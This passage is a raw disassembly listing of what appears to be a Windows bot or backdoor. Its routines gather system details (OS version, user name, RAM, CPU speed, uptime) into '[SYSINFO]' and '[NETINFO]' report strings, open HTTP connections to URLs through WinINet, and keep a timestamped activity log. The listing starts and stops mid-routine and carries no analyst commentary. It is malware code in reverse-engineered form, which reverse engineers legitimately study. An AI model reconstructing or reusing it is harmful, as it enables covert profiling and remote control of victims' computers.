		mov	eax, [ebp+var_8]
		mov	dword_43CD6C, eax
		mov	eax, [ebp+var_2C]
		mov	dword_43CD60, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_43CDA4, eax
		jz	short loc_40A856
		push	[ebp+arg_4]
		jmp	short loc_40A857
; ---------------------------------------------------------------------------


loc_40A856:				; CODE XREF: sub_40A71A+135j
		push	ebx


loc_40A857:				; CODE XREF: sub_40A71A+13Aj
		push	offset dword_43CD70
		call	sub_415316
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42B718
		call	sub_414DDA
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_441BA0[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40A5C5
		push	esi
		push	esi
		call	dword_42108C	; CreateThread
		cmp	eax, esi


loc_40A899:				; DATA XREF: .text:00424F14o
					; .text:00424F58o ...
		mov	dword_441BAC[edi], eax
		jnz	short loc_40A8C8
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42B6D0
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40B078
		add	esp, 10h


loc_40A8C8:				; CODE XREF: sub_40A71A+185j
		xor	eax, eax


loc_40A8CA:				; CODE XREF: sub_40A71A+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A71A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8CF	proc near		; CODE XREF: sub_407075+74p
					; sub_40A9D8+217p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset aDdDhDm	; "%dd %dh %dm"
		mov	esi, offset dword_43CDA8
		push	32h
		push	esi
		call	sub_41588A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40A8CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A922	proc near		; CODE XREF: sub_40A9D8+290p
		push	ebx
		push	esi
		push	edi
		mov	edi, 0F4240h


loc_40A92A:				; CODE XREF: sub_40A922+2Fj
					; sub_40A922+35j
		rdtsc
		push	3E8h
		mov	ebx, edx
		mov	esi, eax
		call	dword_421060	; Sleep
		rdtsc
		sub	eax, esi
		push	0
		sbb	edx, ebx
		push	edi
		push	edx
		push	eax
		call	sub_417180
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		ja	short loc_40A92A
		jb	short loc_40A959
		cmp	ebx, edi
		ja	short loc_40A92A


loc_40A959:				; CODE XREF: sub_40A922+31j
		push	0
		push	64h
		push	esi
		push	ebx
		call	sub_417100
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	edi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40A9CC
		jb	short loc_40A978
		cmp	edi, 50h
		jnb	short loc_40A97D


loc_40A978:				; CODE XREF: sub_40A922+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_40A97D:				; CODE XREF: sub_40A922+54j
		test	ecx, ecx
		ja	short loc_40A9CC
		jb	short loc_40A988
		cmp	edi, 47h
		jnb	short loc_40A98D


loc_40A988:				; CODE XREF: sub_40A922+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_40A98D:				; CODE XREF: sub_40A922+64j
		test	ecx, ecx
		ja	short loc_40A9CC
		jb	short loc_40A998
		cmp	edi, 37h
		jnb	short loc_40A99D


loc_40A998:				; CODE XREF: sub_40A922+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_40A99D:				; CODE XREF: sub_40A922+74j
		test	ecx, ecx
		ja	short loc_40A9CC
		jb	short loc_40A9A8
		cmp	edi, 26h
		jnb	short loc_40A9AD


loc_40A9A8:				; CODE XREF: sub_40A922+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_40A9AD:				; CODE XREF: sub_40A922+84j
		test	ecx, ecx
		ja	short loc_40A9CC
		jb	short loc_40A9B8
		cmp	edi, 1Eh
		jnb	short loc_40A9BD


loc_40A9B8:				; CODE XREF: sub_40A922+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_40A9BD:				; CODE XREF: sub_40A922+94j
		test	ecx, ecx
		ja	short loc_40A9CC
		jb	short loc_40A9C8
		cmp	edi, 0Ah
		jnb	short loc_40A9CC


loc_40A9C8:				; CODE XREF: sub_40A922+9Fj
		xor	eax, eax
		xor	edx, edx


loc_40A9CC:				; CODE XREF: sub_40A922+4Dj
					; sub_40A922+5Dj ...
		sub	eax, edi
		pop	edi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, esi
		pop	esi
		pop	ebx
		retn
sub_40A922	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9D8	proc near		; CODE XREF: sub_40CD3A+53E3p

var_968		= byte ptr -968h
var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 968h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43B658
		mov	[ebp+var_CC], 94h
		call	dword_42110C	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40AA5F
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40AA3B
		cmp	[ebp+var_BC], 1
		jnz	short loc_40AA25
		mov	[ebp+var_4], offset a95	; "95"


loc_40AA25:				; CODE XREF: sub_40A9D8+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40AADA
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40AAAB
; ---------------------------------------------------------------------------


loc_40AA3B:				; CODE XREF: sub_40A9D8+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40AA4D
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40AAA2
; ---------------------------------------------------------------------------


loc_40AA4D:				; CODE XREF: sub_40A9D8+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40AA9B
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40AAA2
; ---------------------------------------------------------------------------


loc_40AA5F:				; CODE XREF: sub_40A9D8+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40AA9B
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40AA79
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40AAA2
; ---------------------------------------------------------------------------


loc_40AA79:				; CODE XREF: sub_40A9D8+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40AA8B
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40AAA2
; ---------------------------------------------------------------------------


loc_40AA8B:				; CODE XREF: sub_40A9D8+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40AAA2


loc_40AA9B:				; CODE XREF: sub_40A9D8+7Cj
					; sub_40A9D8+8Ej
		mov	[ebp+var_4], offset dword_42B868


loc_40AAA2:				; CODE XREF: sub_40A9D8+73j
					; sub_40A9D8+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40AADA


loc_40AAAB:				; CODE XREF: sub_40A9D8+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40AADA
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42B860
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40AADA:				; CODE XREF: sub_40A9D8+54j
					; sub_40A9D8+D1j ...
		mov	ax, word_42B85C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_43C910
		mov	[ebp+var_8], 100h
		cmp	eax, ebx
		jz	short loc_40AB13
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_40AB13:				; CODE XREF: sub_40A9D8+12Cj
		push	[ebp+arg_4]
		call	sub_40A08A
		pop	ecx
		push	eax
		call	dword_43CA64	; inet_addr
		mov	[ebp+var_C], eax
		push	2
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		call	dword_43C9DC	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_40AB3C
		push	dword ptr [eax]
		jmp	short loc_40AB41
; ---------------------------------------------------------------------------


loc_40AB3C:				; CODE XREF: sub_40A9D8+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40AB41:				; CODE XREF: sub_40A9D8+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_415316
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_421084	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_421080	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_421110	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_4171E8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_968]
		push	eax
		call	sub_40C21C
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40A8CF
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40C10D
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40C10D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40A922
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41588A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A9D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC8C	proc near		; CODE XREF: sub_40CD3A+4388p
					; sub_40CD3A+5411p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch
		cmp	dword_43CB08, 0
		jnz	short loc_40AD00
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43C8F4	; InternetGetConnectedStateExA
		test	eax, eax
		jnz	short loc_40ACE1
		lea	eax, [ebp+var_8C]
		push	offset dword_42B8DC
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx


loc_40ACE1:				; CODE XREF: sub_40AC8C+40j
		test	[ebp+var_C], 1
		lea	eax, [ebp+var_8]
		jz	short loc_40ACF9
		push	offset dword_42B8D4


loc_40ACEF:				; CODE XREF: sub_40AC8C+72j
		push	eax
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	short loc_40AD1F
; ---------------------------------------------------------------------------


loc_40ACF9:				; CODE XREF: sub_40AC8C+5Cj
		push	offset dword_42B8D0
		jmp	short loc_40ACEF
; ---------------------------------------------------------------------------


loc_40AD00:				; CODE XREF: sub_40AC8C+28j
		mov	esi, offset off_42B8CC
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_415316
		add	esp, 10h


loc_40AD1F:				; CODE XREF: sub_40AC8C+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40A08A
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41588A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40AC8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AD52	proc near		; DATA XREF: sub_40CD3A+459Fo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		xor	esi, esi
		mov	edi, 80h
		inc	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42BA28
		call	sub_415390
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_415390
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_415390
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_415390
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_415390
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_43C92C	; InternetCrackUrlA
		test	eax, eax
		jz	loc_40AEF2
		cmp	[ebp+var_34], ebx
		jbe	short loc_40AE29
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_416BE0
		add	esp, 0Ch


loc_40AE29:				; CODE XREF: sub_40AD52+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40AE47
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_416BE0
		add	esp, 0Ch


loc_40AE47:				; CODE XREF: sub_40AD52+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40AE61
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_416BE0
		add	esp, 0Ch


loc_40AE61:				; CODE XREF: sub_40AD52+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40AE7B
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_416BE0
		add	esp, 0Ch


loc_40AE7B:				; CODE XREF: sub_40AD52+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_43C9D4
		call	dword_43C9F8	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40AF08
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_43C9EC	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40AF0F
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_43C9A0	; HttpSendRequestA
		test	eax, eax
		lea	eax, [ebp+var_55C]
		jz	short loc_40AEEB
		push	offset dword_42B9F8
		jmp	short loc_40AF1A
; ---------------------------------------------------------------------------


loc_40AEEB:				; CODE XREF: sub_40AD52+190j
		push	offset unk_42B9A8
		jmp	short loc_40AF1A
; ---------------------------------------------------------------------------


loc_40AEF2:				; CODE XREF: sub_40AD52+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42B974
		push	eax
		call	sub_415316
		mov	esi, [ebp+var_C]
		jmp	short loc_40AF20
; ---------------------------------------------------------------------------


loc_40AF08:				; CODE XREF: sub_40AD52+153j
		push	offset unk_42B934
		jmp	short loc_40AF14
; ---------------------------------------------------------------------------


loc_40AF0F:				; CODE XREF: sub_40AD52+17Bj
		push	offset unk_42B8F0


loc_40AF14:				; CODE XREF: sub_40AD52+1BBj
		lea	eax, [ebp+var_55C]


loc_40AF1A:				; CODE XREF: sub_40AD52+197j
					; sub_40AD52+19Ej
		push	eax
		call	sub_415316


loc_40AF20:				; CODE XREF: sub_40AD52+1B4j
		cmp	[ebp+var_1D4], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_40AF4D
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_412BD1
		add	esp, 14h


loc_40AF4D:				; CODE XREF: sub_40AD52+1D6j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40B078
		pop	ecx
		push	esi
		call	dword_43CA58	; InternetCloseHandle
		push	[ebp+var_4]
		call	dword_43CA58	; InternetCloseHandle
		push	[ebp+var_1D8]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_40AD52	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF80	proc near		; CODE XREF: sub_40CD3A+42C1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_440E18
		mov	edi, 0B8h


loc_40AF94:				; CODE XREF: sub_40AF80+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40AFB7
		push	[ebp+arg_0]
		push	esi
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFB7
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_441998
		jl	short loc_40AF94
		jmp	short loc_40AFF9
; ---------------------------------------------------------------------------


loc_40AFB7:				; CODE XREF: sub_40AF80+17j
					; sub_40AF80+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_440E18[esi]
		push	ebx
		call	sub_415390
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_416BE0
		push	9Fh
		lea	eax, dword_440E30[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_416BE0
		add	esp, 24h
		inc	dword_42EA3C
		pop	ebx


loc_40AFF9:				; CODE XREF: sub_40AF80+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_40AF80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B000	proc near		; CODE XREF: sub_40CD3A+5551p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_42BA38
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_440E18


loc_40B02A:				; CODE XREF: sub_40B000+72j
		cmp	byte ptr [esi],	0
		jz	short loc_40B065
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_42BA2C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41588A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 2Ch


loc_40B065:				; CODE XREF: sub_40B000+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_441998
		jl	short loc_40B02A
		pop	edi
		pop	esi
		leave
		retn
sub_40B000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B078	proc near		; CODE XREF: start+97p	sub_4010B2+32Cp ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_42105C	; GetLocalTime
		mov	ebx, offset dword_440DE0
		mov	edi, 80h
		mov	esi, offset dword_43CDE0


loc_40B09A:				; CODE XREF: sub_40B078+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_40B0B1
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_416BE0
		add	esp, 0Ch


loc_40B0B1:				; CODE XREF: sub_40B078+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_40B09A
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41588A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0EC	proc near		; CODE XREF: sub_407B36+148p
					; sub_407CBD+15Cp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41732F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40B078
		add	esp, 14h
		leave
		retn
sub_40B0EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B118	proc near		; CODE XREF: sub_40CD3A+5449p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43CDE0
		xor	ecx, ecx


loc_40B11F:				; CODE XREF: sub_40B118+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_440DE0
		jl	short loc_40B11F
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42BA6C
		jnz	short loc_40B14F
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_40B14F:				; CODE XREF: sub_40B118+1Fj
		push	esi
		call	sub_40B078
		pop	ecx
		pop	esi
		retn
sub_40B118	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B158	proc near		; CODE XREF: sub_4033B6+298p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43CDE0


loc_40B15E:				; CODE XREF: sub_40B158+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40B173
		push	[esp+4+arg_0]
		push	esi
		call	sub_409A63
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B185


loc_40B173:				; CODE XREF: sub_40B158+9j
		add	esi, 80h
		cmp	esi, offset dword_440DE0
		jl	short loc_40B15E
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B185:				; CODE XREF: sub_40B158+19j
		xor	eax, eax
		pop	esi
		inc	eax
		retn
sub_40B158	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B18A	proc near		; DATA XREF: sub_40CD3A+54FCo

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		xor	edx, edx
		rep movsd
		xor	edi, edi
		mov	[ebp+var_8], 80h
		inc	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40B1DD
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42BAD4
		push	eax
		push	[ebp+var_11C]
		call	sub_412BD1
		add	esp, 14h


loc_40B1DD:				; CODE XREF: sub_40B18A+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40B1FD
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41587F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40B1FD
		mov	[ebp+var_8], eax


loc_40B1FD:				; CODE XREF: sub_40B18A+5Aj
					; sub_40B18A+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43CDE0


loc_40B206:				; CODE XREF: sub_40B18A+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40B260
		cmp	byte ptr [esi],	0
		jz	short loc_40B24F
		cmp	[ebp+var_98], 0
		jz	short loc_40B235
		cmp	[ebp+var_4], 0
		jnz	short loc_40B235
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_409A63
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B24F


loc_40B235:				; CODE XREF: sub_40B18A+90j
					; sub_40B18A+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_412BD1
		add	esp, 14h


loc_40B24F:				; CODE XREF: sub_40B18A+87j
					; sub_40B18A+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_440DE0
		jl	short loc_40B206


loc_40B260:				; CODE XREF: sub_40B18A+82j
